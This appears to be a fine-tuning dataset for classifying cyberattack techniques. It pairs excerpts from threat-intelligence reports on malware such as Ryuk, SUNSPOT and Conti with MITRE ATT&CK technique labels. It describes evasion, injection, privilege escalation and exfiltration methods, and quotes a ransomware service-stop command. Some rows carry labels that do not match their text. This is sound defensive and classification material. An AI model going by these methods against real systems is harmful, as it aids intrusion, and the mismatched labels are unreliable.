"Finally, Grandoreiro detects two virtual environments – VMWare via its special I/O port and Virtual PC via the vpcext instruction",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"The attacker’s choice of IP addresses was also optimized to evade detection. The attacker primarily used only IP addresses originating from the same country as the victim, leveraging Virtual Private Servers",['T1036 - Masquerading'],fine_tune
"SUNSPOT is StellarParticle’s malware used to insert the SUNBURST backdoor into software builds of the SolarWinds Orion IT management product. SUNSPOT monitors running processes for those involved in compilation of the Orion product and replaces one of the source files to include the SUNBURST backdoor code. Several safeguards were added to SUNSPOT to avoid the Orion builds from failing, potentially alerting developers to the adversary’s presence",['T1195.002 - Compromise Software Supply Chain'],fine_tune
"When the newer service variant of BitPaymer is run, it first determines if it is being executed from an alternate data stream. If it is not executed from an alternate data stream, the malware creates a file in the %APPDATA% folder with a random file name between three and eight characters long, containing uppercase and lowercase letters as well as numbers. It then copies itself to the alternate data stream :bin of the newly created file and creates a new process from the stream",['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
"Flame appears to have two modules designed for infecting USB sticks, called “Autorun Infector” and “Euphoria”. We haven’t seen them in action yet, maybe due to the fact that Flame appears to be disabled in the configuration data. Nevertheless, the ability to infect USB sticks exists in the code, and it’s using two methods",['T1091 - Replication Through Removable Media'],fine_tune
"The modules are signed by an invalid digital certificates listed as “Tencent Technology (Shenzhen) Company Limited” with serial numbers, copied from real Tencent certificates",['T1036.001 - Invalid Code Signature'],fine_tune
"Capable of stealing documents sent to the printer queue. Steals written CD images. Capable of stealing files previously seen on removable drives once they are available again. Steals Internet Explorer, Netscape Navigator, FireFox and RealNetworks cookies. If deleted from Frontend file or related registry values, it will reappear after reboot with a new name and startup type",['T1025 - Data from Removable Media'],fine_tune
"Recall that when the malicious code is executed, it invokes the extract_ei function on its own binary image, to check if the file is infected. If so, it opens itself, and reads the trailer to get the offset of where the file’s original bytes are located. It then writes these bytes out to a new file named: .&lt;orginalfilename&gt;1. This file is then set executable (via chmod) and executed (via execl",['T1554 - Compromise Host Software Binary'],fine_tune
"Next, the shellcode iterates through the PEB’s loader module list looking for the base address of Kernel32.dll. This is typical of shellcode, as the Kernel32.dll base address is necessary to resolve any dependency files required by the shellcode to run. With this address, the shellcode loads its dependency modules and resolves any necessary Windows Application Programming Interface (API) calls using standard shellcode API hashing. The following modules are loaded",['T1106 - Native API'],fine_tune
"Receive a file path from the C2 for a file to read. The target file is read and then split into smaller files named ""&lt;target_filename&gt;.part_&lt;part_number&gt;"" and stored on disk. This capability can be used to break large files of interest into smaller chunks to prepare them for exfiltration",['T1030 - Data Transfer Size Limits'],fine_tune
"This introduction of string obfuscation also suggests a development change aimed at evading detection. The header codes, filename references, and all of the operator commands were obfuscated and only decoded during execution of the KeyBoy DLL. Figure 6 shows a sampling of these strings, after decoding",['T1027 - Obfuscated Files or Information'],fine_tune
"The developer implemented a total of seven techniques to identify if the compromised system is a virtual machine. Additionally, the malware checks the SerialNumber and the version of the BIOS. The third technique uses the Win32_Computer entry in WMI. It checks if the manufacturer contains ""VIRTUAL"", ""VMWARE"" or ""VirtualBox"". The fourth technique checks the Processor ID of the system. The WMI request simply replies ""not supported"". This behaviour can be used to detect if the targeted system is a real machine. The last technique uses the MAC Address of the infected system. If the MAC Address starts by a well-known hexadecimal number, the system is identified as a virtual machine. The variant version of GX is used in the URI",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"COBALT DICKENS uses publicly available tools, including the SingleFile plugin available on GitHub and the free HTTrack Website Copier standalone application, to copy the login pages of targeted university resources. Metadata in a spoofed login page created on August 1 suggests that COBALT DICKENS sometimes uses older copied versions of target websites. A comment left in the source code indicates it was originally copied on May 1, 2017 (see Figure 3). However, the university was targeted by numerous COBALT DICKENS operations, including the August 2018 and August 2019 campaigns",['T1588.002 - Tool'],fine_tune
"NOBELIUM, with existing administrative permissions, was observed to drop a malicious loader named version.dll in the %WinDir%\ADFS\ folder where the AD FS service executable Microsoft.IdentityServer.ServiceHost.exe is located. Once the system or the AD FS service is restarted, Microsoft.IdentityServer.ServiceHost.exe loads mscoree.dll, which in turn loads mscoreei.dll. As mentioned above, mscoreei.dll has a delay load import named version.dll",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"In recent BitPaymer IR engagements, Falcon Intelligence linked the initial infection vector to fake updates for a FlashPlayer plugin and the Chrome web browser. These fake updates are served via legitimate websites that have been compromised, and use social engineering to trick users into downloading and running a malicious executable. These fake update campaigns appear to be a pay-per-install service that is simply used by INDRIK SPIDER to deliver its malware, as other malware has also been delivered via the same campaigns","['T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1584.004 - Server']",fine_tune
"One of the reconnaissance commands was to run a modified nbtscan tool (""NetBIOS nameserver scanner"") to identify available NetBIOS name servers locally or over the network. Nbtscan has been used by APT10 in Operation Cloud Hopper to search for services of interest across the IT estate and footprint endpoints of interest. It is also capable of identifying system information","['T1016 - System Network Configuration Discovery', 'T1018 - Remote System Discovery']",fine_tune
"The attacker used a temporary file replacement technique to remotely execute utilities: they replaced a legitimate utility with theirs, executed their payload, and then restored the legitimate original file. They similarly manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returning the scheduled task to its original configuration. They routinely removed their tools, including removing backdoors once legitimate remote access was achieved","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1070 - Indicator Removal on Host', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"Modifying the Standard Information timestamps (created, modified, accessed) of every downloaded executable to match a randomly selected file from the System32 directory that was created prior to 2013",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
"1) Suckfly's first step was to identify a user to target so the attackers could attempt their initial breach into the e-commerce company's internal network. 2) On April 22, 2015, Suckfly exploited a vulnerability on the targeted employee's operating system (Windows) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack. 3) After the attackers successfully exploited the employee’s system, they gained access to the e-commerce company's internal network. To do this the attackers used a signed credential-dumping tool to obtain the victim's account credentials. With the account credentials, the attackers were able to access the victim's account and navigate the internal corporate network as though they were the employee. 4) On April 27, the attackers scanned the corporate internal network for hosts with ports 8080, 5900, and 40 open. Ports 8080 and 5900 are common ports used with legitimate protocols, but can be abused by attackers when they are not secured. Based on Suckfly scanning for common ports, it’s clear that the group was looking to expand its foothold on the e-commerce company's internal network. 5) The attackers’ final step was to exfiltrate data off the victim’s network and onto Suckfly’s infrastructure. While we know that the attackers used the Nidiran back door to steal information about the compromised organization, we do not know if Suckfly was successful in stealing other information",['T1078 - Valid Accounts'],fine_tune
"After these strings are decrypted, the malware will load a series of Microsoft Windows API calls to be used later on. After these functions are loaded, Comnie determines if it is running within the %TEMP% directory of the victim machine. In the event it is not running within this directory, it will copy itself to %TEMP% and execute this newly created file with an argument of the original file’s path. A total of 64MB of garbage data is appended to this copied file, likely as a way to deter any security products in place that may be scanning files on disk. After running within the %TEMP% path, Comnie will delete the original file. After Comnie has been copied to the %TEMP% directory, it will look for the presence of the ‘DQuit.tmp’ file in this path. It is unclear how this file is used exactly, as it does not appear to ever be written during runtime by Comnie. Comnie continue to enter its installation routine. In doing so, it will attempt to detect the following Anti-Virus products via various techniques",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
"This list of strings differs from previously analyzed SofacyCarberp samples, such as the variant discussed in our June 2016 blog “New Sofacy Attacks Against US Government Agency“ that chose from a list of strings .xml, .pdf, .htm or .zip. After establishing that the system has Internet access, the Trojan will gather detailed system information and send it to the C2 server",['T1082 - System Information Discovery'],fine_tune
"In April, security researchers in the Microsoft Threat Intelligence Center discovered infrastructure of a known adversary communicating to several external devices. Further research uncovered attempts by the actor to compromise popular IoT devices (a VOIP phone, an office printer, and a video decoder) across multiple customer locations. The investigation uncovered that an actor had used these devices to gain initial access to corporate networks. In two of the cases, the passwords for the devices were deployed without changing the default manufacturer’s passwords and in the third instance the latest security update had not been applied to the device",['T1078 - Valid Accounts'],fine_tune
"When exploiting the intended targets, the threat actors used malicious .docx files to capture user credentials. The documents retrieved a file through a “file://” connection over SMB using Transmission Control Protocol (TCP) ports 445 or 139. When a user attempted to authenticate to the domain, the C2 server was provided with the hash of the password. Local users received a graphical user interface (GUI) prompt to enter a username and password, and the C2 received this information over TCP ports 445 or 139. Note: a file transfer is not necessary for a loss of credential information. Symantec’s report associates this behavior to the Dragonfly threat actors in this campaign. 1](link is external",['T1187 - Forced Authentication'],fine_tune
"Otherwise, the malware bypasses UAC and escalates privileges with two different approaches – one for Windows 10 and the other for older versions",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"The logging functions are hooked so that whenever the backdoor is used, nothing gets sent to the logging facility, leaving no trace of the backdoor in the log files on disk. If the backdoor is not in use, logging will behave normally and function calls will get redirected to the original function implementation",['T1562.006 - Impair Defenses: Indicator Blocking'],fine_tune
"The second part of API hooking hooks on “GetExtendedTcpTable. GetExtendedTcpTable” is used for retrieving a table that contains a list of TCP endpoints available to the application, and it is frequently used in some network-related commands, such as netstat. The purpose of the hook is to remove TCP endpoint records of certain PIDs. The second function, “GetRTTAndHopCount,” acts as the place to put the injected hooking code",['T1049 - System Network Connections Discovery'],fine_tune
The output of the downloaded batch file is saved to “%PUBLIC%\Libraries\tp\&lt;batch filename&gt;.txt”. The script will then upload the output of this batch file by including the data in a sequence of DNS queries. The exfiltrates the output of the batch script by splitting up the data within the text file into chunks up to 23 bytes and sends the data within a series of DNS queries that have the following structure,['T1030 - Data Transfer Size Limits'],fine_tune
Installs UnionCryptoTrader in folder /Applications/UnionCryptoTrader.app/Contents/MacOS/ - Installs .unioncryptoupdater in folder /Applications/UnionCryptoTrader.app/Contents/Resources/ Note: the leading “.” makes it unlisted in the Finder app or default Terminal directory listing - Note: the leading “.” makes it unlisted in the Finder app or default Terminal directory listing - Executes a postinstall script Moves .vip.unioncrypto.plist to folder LaunchDaemons Changes the file permissions on the plist to Root Runs unioncryptoupdater Moves .unioncryptoupdater to folder /Library/UnionCrypto/unioncryptoupdater Makes .unioncryptoupdater executable - Moves .vip.unioncrypto.plist to folder LaunchDaemons - Changes the file permissions on the plist to Root - Runs unioncryptoupdater - Moves .unioncryptoupdater to folder /Library/UnionCrypto/unioncryptoupdater - Makes .unioncryptoupdater executable,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"It uses GetlogicalDrives to get a bitmask of all the drives available on the system, then iterates over each possible drive letter",['T1082 - System Information Discovery'],fine_tune
"Ryuk does not encrypt files from within its own process memory space, but injects into a remote process. Before injecting into a remote process, Ryuk attempts to adjust its token privileges to have the SeDebugPrivilege. Before injecting into a remote process, Ryuk also calls CreateToolhelp32Snapshot to enumerate all running processes. If a process is found that is not named csrss.exe, explorer.exe, lsaas.exe, or is running under NT AUTHORITY system account, Ryuk will inject itself into this single process. By ensuring that the process is not running under NT AUTHORITY, the developers are assuming the process is not running under another account and therefore can be written to. Ryuk uses a combination of VirtualAlloc, WriteProcessMemory and CreateRemoteThread to inject itself into the remote process",['T1055 - Process Injection'],fine_tune
"Next, the third-stage DLL will load the ""Waqybg"" resource into memory. As the resource is stored in reverse byte order, the third-stage DLL will restore it by reversing the bytes and then proceed to decompress it. The decompressed data is the fourth stage wiper payload. After decompressing the data, the third-stage DLL copies a legitimate Windows utility ""InstallUtil.exe"" into the %TEMP% directory, creates a suspended process with it and injects the fourth-stage wiper into the process. Finally, it resumes the process and transfers the execution flow to the fourth-stage wiper. Creates InstallUtil.exe process",['T1055 - Process Injection'],fine_tune
"Whitefly has consistently used a technique known as search order hijacking to run Vcrodat. This technique takes advantage of the fact that Windows does not require an application to provide a specific path for a DLL that it wishes to load. If no path is provided, Windows searches for the DLL in specific locations on the computer in a pre-defined order. Attackers can therefore give a malicious DLL the same name as a legitimate DLL but place it ahead of the legitimate version in the search order so that it will be loaded when Windows searches for it. Whitefly frequently delivers Vcrodat as a malicious DLL that has the same name as DLLs belonging to legitimate software from various security vendors. The group leverages search order hijacking to assure that its malicious DLLs will be executed. Targeting security applications could allow the attackers to gain higher privileges for the malware, since the vendor’s component may be run with elevated privileges",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"The malware’s next action is to check if the execute privilege is SYSTEM. When the execute privilege is SYSTEM, the malware will get the process “Explorer.exe”, get the token of the user that launched the process and impersonate it. It is a downgrade from SYSTEM to another user with less privileges to avoid affecting the desktop of the SYSTEM user later",['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],fine_tune
"The threat actors commonly created web shells on the intended targets’ publicly accessible email and web servers. The threat actors used three different filenames (“global.aspx, autodiscover.aspx and index.aspx) for two different webshells",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"Currently LockerGoga does not support any worm-like capabilities that would allow it to self-propagate by infecting additional hosts on a target network. We have observed LockerGoga moving around a network via the server message block (SMB) protocol, which indicates the actors simply manually copy files from computer to computer",['T1570 - Lateral Tool Transfer'],fine_tune
"Finally, command line tried to execute (iex is an alias for Invoke-Expression) the code downloaded from the IP address 104[.]168[.]237[.]21. Threat actors abused sslip.io for connection to C&amp;C - a service that provides free IP to domain mapping to make SSL certificate generation easier for traffic encryption. While this service is legitimate and widely used, the malware abused it in an attempt at evading detection when connecting to C&amp;C servers",['T1102 - Web Service'],fine_tune
"If the payload determines it is not running in a sandbox, it will attempt to install itself to the system to persistently execute",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
"With the file written to the system, the Trojan calls the ""GetishideAbById"" SOAP action to determine whether or not the C2 server wishes to execute the newly dropped file in a hidden window. This request is followed by a call to ""GetisrunasAbById"" to determine if the Trojan should use ""runas"" to execute the downloaded executable with elevated privileges, which would display the UAC dialog for the user to click",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"Numbered Panda has a long list of high-profile victims and is known by a number of names including: DYNCALC, IXESHE, JOY RAT, APT-12, etc. Numbered Panda has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments. Numbered Panda has targeted organizations in time-sensitive operations such as the Fukushima Reactor Incident of 2011, likely filling intelligence gaps in the ground cleanup/mitigation operations. One of the most interesting techniques that Numbered Panda likes to use is to dynamically calculate the Command and Control (C2) port by resolving a DNS. The malware will typically use two DNS names for communication: one is used for command and control; the other is used with an algorithm to calculate the port to communicate to. There are several variations of the algorithm used to calculate the C2 port, but one of the most common is to multiply the first two octets of the IP address and add the third octet to that value. This is typically represented as: (A * B) + C – common values might be 200.2.43.X, which would result in communication on port 443. Numbered Panda will frequently use blogs or WordPress in the c2 infrastructure, which helps to make the network traffic look more legitimate. CrowdStrike has observed Numbered Panda targeting high-tech, defense contractors, media organizations, and western governments",['T1568.003 - DNS Calculation'],fine_tune
"Appending a file signature header to all encrypted data, prior to upload or download, by randomly selecting from the file types",['T1027 - Obfuscated Files or Information'],fine_tune
"Figure 5 shows the splash image displayed by the Enigma protector prior to executing the malicious payload, which is a wallpaper image available at wallpaperswide.com. The splash screen feature acts as a sandbox evasion technique, as it requires user interaction in the form of clicking the screen before the malicious code runs",['T1497.002 - User Activity Based Checks'],fine_tune
"Conti uses a multithreading technique to fast encrypt all the files. This routine takes seconds to just a few minutes depending on the number of files on the machine. Each sample has a unique extension that the malware adds to the encrypted files. While using Cybereason with prevention mode off to allow investigation of the ransomware execution, it is possible to see the encryption activity and the creation of new files",['T1486 - Data Encrypted for Impact'],fine_tune
"Besides of fetching a list of scanning targets, Xbash will also request C2 server via URI “/p” to fetch a list of weak passwords for brute forcing",['T1110.001 - Brute Force: Password Guessing'],fine_tune
"Some versions of the Orz backdoor have 32- and 64-bit embedded DLLs, stored internally as base64 strings. Their purpose is to simply run another binary. These are used as loaders for future executable payloads, using the well-known process hollowing technique. To use the MockDll, the backdoor creates a configuration .ini file like that shown in Figure 14","['T1055.012 - Process Injection: Process Hollowing', 'T1218.010 - Signed Binary Proxy Execution: Regsvr32']",fine_tune
"The shellcode loader was observed on one infected device as updater.exe with the Metasploit-style service name APTYnDS1ABEuUHEA, indicating that it was installed as a service",['T1553.002 - Code Signing'],fine_tune
"From one of the hosts, we discovered that the actor executed a credential harvesting tool named Responder and moved laterally using Windows commands. Lazarus overcame network segmentation, exfiltrating data from a completely isolated network segment cut off from the internet by compromising a router virtual machine, as we explain below under “Overcoming network segmentation",['T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay'],fine_tune
"1) If the malware was executed with the ""install"" command-line argument, which uses .NET Framwork’s InstallHelper method to install the malware as a service. 3) If no arguments are provided and the malware determines it is running in a Windows environment, it saves a DLL to the system that it injects into the explorer.exe process. The injected DLL executable loads the malware’s executable and runs it within memory of the explorer.exe process",['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"This static set of characteristics, combined with the minimal use of obfuscation in their phishing attacks, may benefit organizations that are potential targets for IRON TILDEN.ToolsTaegis™ XDR Adversary Software Coverage Tool",['T1221 - Template Injection'],fine_tune
"Browser credential stealing: Capability to steal credentials (username and password) from the installed browsers, Microsoft Internet Explorer (MSIE), and Google Chrome browser. Figures 7 and 8 show the code sections responsible for stealing the credentials from MSIE and Chrome browser respectively",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"The malware then grants itself debugging privileges by modifying its security token to add SeDebugPrivilege. This step is a prerequisite for the remainder of SUNSPOT’s execution, which involves reading other processes’ memory",['T1134 - Access Token Manipulation'],fine_tune
"Interestingly, there is an option in the RC2CL module to turn off its backdoor functionality and act as a proxy. In this case, the malware turns off the Windows firewall and creates a server that relays communication between a client and C&amp;C server, or between two clients",['T1090.001 - Proxy: Internal Proxy'],fine_tune
"The legitimate application is a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations. When the Kaspersky application is run, it loads a file named msi.dll, which is located within the same directory. The XOR-decode process, which skips zeroes, uses the single-byte key 0x88",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"In this attack, spear phishing was used as the initial infection vector. Before launching the attack, the group studied publicly available information about the targeted organization and identified email addresses belonging to various departments of the company",['T1589.002 - Email Addresses'],fine_tune
"In order to avoid raising suspicions from the victim, CSPY Downloader exploits a known UAC bypass technique that uses the SilentCleanup task to execute the binary with elevated privileges",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"If the ransomware is not executed with administrator rights or if the infected host runs Windows Vista or later, it will attempt to elevate its privileges. In short, WastedLocker uses a well-documented UAC bypass method [1] [2]. It chooses a random file (EXE/DLL) from the Windows system32 folder and copies it to the %APPDATA% location under a different hidden filename. Next, it creates an alternate data stream (ADS) into the file named bin and copies the ransomware into it. WastedLocker then copies winsat.exe and winmm.dll into a newly created folder located in the Windows temporary folder",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"A service that ensures Carbon’s persistency is created. Its name can either be “srservice”, “ipvpn” or “hkmsvc” depending of the operating system version running on the compromised machine",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"After having registered the Print Processor, PipeMon restarts the print spooler service (spoolsv.exe). As a result, the malicious print process is loaded when the spooler service starts. Note that the Print Spooler service starts at each PC startup, which ensures persistence across system resets",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"After patching, the threat actor can use the Skeleton Key password configured at the time of deployment to log in as any domain user. Legitimate users can still log in using their own passwords",['T1556.001 - Domain Controller Authentication'],fine_tune
"Create a Safe Array and copy the decrypted FoggyWeb backdoor bytes to the array. It then calls the Load() function for the current application domain to load the FoggyWeb DLL into the application domain. After the FoggyWeb DLL is loaded into the current application domain, the loader invokes the following method from the DLL: Microsoft.IdentityServer.WebExtension.WebHost. Create a Safe Array and copy the decrypted FoggyWeb backdoor bytes to the array. It then calls the Load() function for the current application domain to load the FoggyWeb DLL into the application domain. After the FoggyWeb DLL is loaded into the current application domain, the loader invokes the following method from the DLL: Microsoft.IdentityServer.WebExtension.WebHost",['T1129 - Server Software Component'],fine_tune
"In the first path, obtaining the SAML signing certificate normally entails first querying the private encryption key that resides on the AD FS container and then using that key to decrypt the signing certificate. The certificate can then be used to create illicit but valid SAML tokens that allow the actor to impersonate users, enabling them to access enterprise cloud applications and services","['T1552.004 - Unsecured Credentials: Private Keys', 'T1550 - Use Alternate Authentication Material']",fine_tune
"The websites contain numerous articles and content to make them seem legitimate; in some cases the websites have over 10,000 individual news articles. Volexity has found the content is largely scraped and reposted in full from various other legitimate online news outlets. This appears to be done in an automated fashion and most likely through WordPress plugins. Numerous posted articles and images can be directly tracked back to other online blogs and newspapers; sometimes the byline or even watermark in images show directly where the article was sourced. In some cases, only a small number of pages on the site contains malicious code; in other cases, the profiling code is pervasive",['T1608.004 - Drive-by Target'],fine_tune
"Checking for specific keyboards and languages is a known evasion tactic meant to avoid running on analysis systems not configured, as the actor’s targeted victim would be configured",['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
MSTIC has observed NICKEL drop their malware into existing installed software paths. They did this to make their malware appear to be files used for an installed application. The following are example paths,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"If the bot is running with a regular user privilege, persistence is established using the registry “Run” method. The loader DLL component is written to “%APPDATA%\mswinload[.]dll” and a “mswinload” value is added to the “Run” key to execute ordinal #1 of the DLL with rundll32[.]exe",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"In order to deploy an implant for the final payload, ScarCruft uses a multi-stage binary infection scheme. As a rule, the initial dropper is created by the infection procedure. One of the most notable functions of the initial dropper is to bypass Windows UAC (User Account Control) in order to execute the next payload with higher privileges. Afterwards, the installer malware creates a downloader and a configuration file from its resource and executes it. The downloader malware uses the configuration file and connects to the C2 server to fetch the next payload. In order to evade network level detection, the downloader uses steganography. The downloaded payload is an image file, but it contains an appended malicious payload to be decrypted",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"Bisonal main module The DLL (pvcu.dll) is Bisonal malware but using a different cipher for C2 communication that other publicly documented samples. Booz Allen Hamilton in 2014 and AhnLab in 2015 reported on Bisonal using a simple XOR cipher to hide the C2 address strings in the body. The Bisonal sample we observed in this case employs the RC4 cipher with the key “78563412”. To date, all Bisonal samples we have seen using RC4 use this same key. The oldest sample we have dates to 2014, so this variant has been in the wild for several years. Adding to the change in encryption type, a large part of the code such as network communication procedures, and the persistence method have been re-written. For example, the Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2",['T1573.001 - Symmetric Cryptography'],fine_tune
"At the end of the encryption process, Pay2Key will also terminate the MS SQL service using the following command net stop mssqlserver &gt; nul in order to release the files locked by the service",['T1489 - Service Stop'],fine_tune
"As a previous write-up on H1N1 by Arbort Networks describes, the LINK command in this instance results in H1N1 downloading and executing a file from a remotely hosted URL using WinINet HTTP requests. The loader also has the functionality of downloading and executing a base64 encoded file contained in the response from the command and control server via the FILE command",['T1105 - Ingress Tool Transfer'],fine_tune
"PLEAD also uses CVE-2017-7269, a buffer overflow vulnerability Microsoft Internet Information Services (IIS) 6.0 to compromise the victim’s server. This is another way for them to establish a new C&amp;C or HTTP server",['T1190 - Exploit Public-Facing Application'],fine_tune
"The Trojan does not encrypt the data sent via DNS beacons, rather it converts the ASCII characters into their hexadecimal values and includes these values in cleartext. The DNS beacons sent from the Helminth executable have the following structure, which is very similar to the script version",['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
"In addition, the threat actors created a scheduled task named reset, which was designed to automatically log out of their newly created account every eight hours",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Wrote indicators based on observed attacker activity • Identified lateral movement, unique backdoors, credential theft, data theft, recon, persistence creation, etc",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"The Conti Ransomware uses AES-256 encryption via a hard-coded public key. The unique factor is the use of multiple threads for the encryption process, which allows faster encryption as compared to other ransomwares. The ransomware uses a CreateIoCompletionPort() call to create 32 thread instances which work simultaneously to encrypt files. After encryption, the ransomware adds extension to all the encrypted files. It can be seen in the image below",['T1486 - Data Encrypted for Impact'],fine_tune
"Over a few days' span, the threat actors install remote access tools on additional systems based upon the results of the network reconnaissance. They use At.exe to schedule tasks to run self-extracting RAR archives, which install either HttpBrowser or PlugX. CTU researchers observed the threat actors collecting Cisco VPN profiles to use when accessing the victim's network via VPN (see Figure 13","['T1053.002 - Scheduled Task/Job: At', 'T1133 - External Remote Services']",fine_tune
"The organizational backup server was among the first targeted. When Ryuk was detected and stopped on the backup server, the attackers used the icacls command to modify access control, giving them full control of all the system folders on the server",['T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification'],fine_tune
This thread searches for for files with the following extensions on fixed drives and sends them to C2 every 60 minutes,['T1020 - Automated Exfiltration'],fine_tune
"The delivery document uses the XLSX extension typically used by OpenXML documents, but the file itself is actually an OLE (XLS) document. The file extension to file type discrepancy was caused by the actor using Excel's built-in encryption capability, which stores XLSX ciphertext and the information needed for decryption in an OLE document",['T1221 - Template Injection'],fine_tune
"We identified new MSIL components deployed by Zebrocy. While recent Zebrocy versioning was 7.1, some of the related Zebrocy modules that drop file-stealing MSIL modules we call Covfacy were v7.0. For example, one sent out to a handful of countries identifies network drives when they are added to target systems, and then RC4-like-encrypts and writes certain file metadata and contents to a local path for later exfiltration. The stealer searches for files 60mb and less with these extensions",['T1083 - File and Directory Discovery'],fine_tune
"Earlier versions of UPPERCUT used the hard-coded string “this is the encrypt key” for Blowfish encryption when communicating with a C2. However, in the latest version, the keys are hard-coded uniquely for each C2 address and use the C2’s calculated MD5 hash to determine which key to use, as shown in Figure 10",['T1573.001 - Symmetric Cryptography'],fine_tune
"With this approach, the luring message shown in the Figure 2 now serves another purpose. Not only does it lure the victim into enabling the macros, but it also is assigned an alternate text: “fkwarning”, as seen in Figure 5. The macro has code to check this attribute to make sure the luring message shape object is present. If this object is not found, the macro will exit without downloading additional payloads",['T1497 - Virtualization/Sandbox Evasion'],fine_tune
"That new instance of RegAsm.exe is then responsible for handling the brunt of the malicious activity (data harvesting, exfiltration). We can also see frequent use of ‘Process Hollowing’ as an injection method. Process Hollowing allows for the creation or manipulation of processes through which sections of memory are unmapped (hollowed) with that space then being reallocated with the desired malicious code",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"To deploy the file injector, the instrumentor downloads additional payloads to be injected into a benign process",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"The program copies itself as &lt;Hangul full path&gt;HncReporter.exe and changes the default program association in the registry to open HWP documents. To do so, it alters following registry values",['T1546.001 - Event Triggered Execution: Change Default File Association'],fine_tune
"Another tool written in Go, GoldFinder was most likely used as a custom HTTP tracer tool that logs the route or hops that a packet takes to reach a hardcoded C2 server. When launched, the malware issues an HTTP request for a hardcoded IP address (e.g. hxxps://185[.]225[.]69[.]69/) and logs the HTTP response to a plaintext log file (e.g. loglog.txt created in the present working directory). GoldFinder uses the following hardcoded labels to store the request and response information in the log file",['T1119 - Automated Collection'],fine_tune
"Another interesting technique this malware uses is Visual Studio’s Resource Manager. This is a feature built into Visual Studio that allows one to attach basically any file to the original binary and get a pointer to its data with a few simple API calls. Siloscape uses this method to write the Tor archive to the disk, as well as the unzip binary used to open the archive. It also uses Tor to securely connect to its C2",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The source code of SUNBURST was likely sanitized before being included in SUNSPOT. The use of generic variable names, pre-obfuscated strings, and the lack of developer comments or disabled code is similar to what could be obtained after decompiling a backdoored Orion binary, as illustrated in Figure 2, which provides a comparison between the injected source code (top) and a decompilation output (bottom",['T1027.005 - Indicator Removal from Tools'],fine_tune
"Ebury sequentially tries the generated domain names until it finds one that has a TXT record set by the operator. To verify the ownership of the domain, Ebury checks whether the TXT record can be decrypted using an RSA public key embedded in its code",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The first backdoor that the TeleBots group relied heavily on was Python/TeleBot.A, which was rewritten from Python in the Rust programming language. The functionality remains the same: it is a standard backdoor that uses the Telegram Bot API in order to receive commands from, and send responses to, the malware operator",['T1102.002 - Bidirectional Communication'],fine_tune
"After the extensive validation described above, the backdoor enters its main execution stage. At its core, the backdoor is a very standard one that receives instructions from the C2 server, executes those instructions, and sends back information. The type of commands that can be executed range from manipulating of registry keys, to creating processes, and deleting files, etc. effectively providing the attackers with full access to the device, especially since it’s executing from a trusted, signed binary",['T1112 - Modify Registry'],fine_tune
"Get.exe appears to be a custom tool used to scan IP-ranges for HTTP service information. NCC Group and Fox-IT decompiled the tool for analysis. This showed the tool was written in the Python scripting language and packed into a Windows executable file. Though Fox-IT didn’t find any direct occurrences of the tool on the internet, the decompiled code showed strong similarities with the source code of a tool named GetHttpsInfo. GetHttpsInfo scans the internal network for HTTP &amp; HTTPS services. The reconnaissance tool getHttpsInfo is able to discover HTTP servers within the range of a network",['T1046 - Network Service Discovery'],fine_tune
"In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. Once opened, Excel will retrieve whatever object is at the URL inside the file. These files have most recently been found in use by criminals to deliver commodity RATs such as Flawed Ammyy. In DarkHydrus's case, the preferred payload retrieved in their previous attacks were exclusively open-source legitimate tools which they abuse for malicious purposes, such as Meterpreter and Cobalt Strike. However, in this instance, it appears that this group used a custom PowerShell based payload that we call RogueRobin",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Some payloads leveraged DLL side loading, a technique that involves running a legitimate, typically digitally signed, program that loads a malicious DLL. The DLL acts as a stub loader, which loads and executes shell code. BRONZE UNION previously used this technique to enable execution of PlugX and HttpBrowser tools in a way that is challenging for network defenders to detect",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
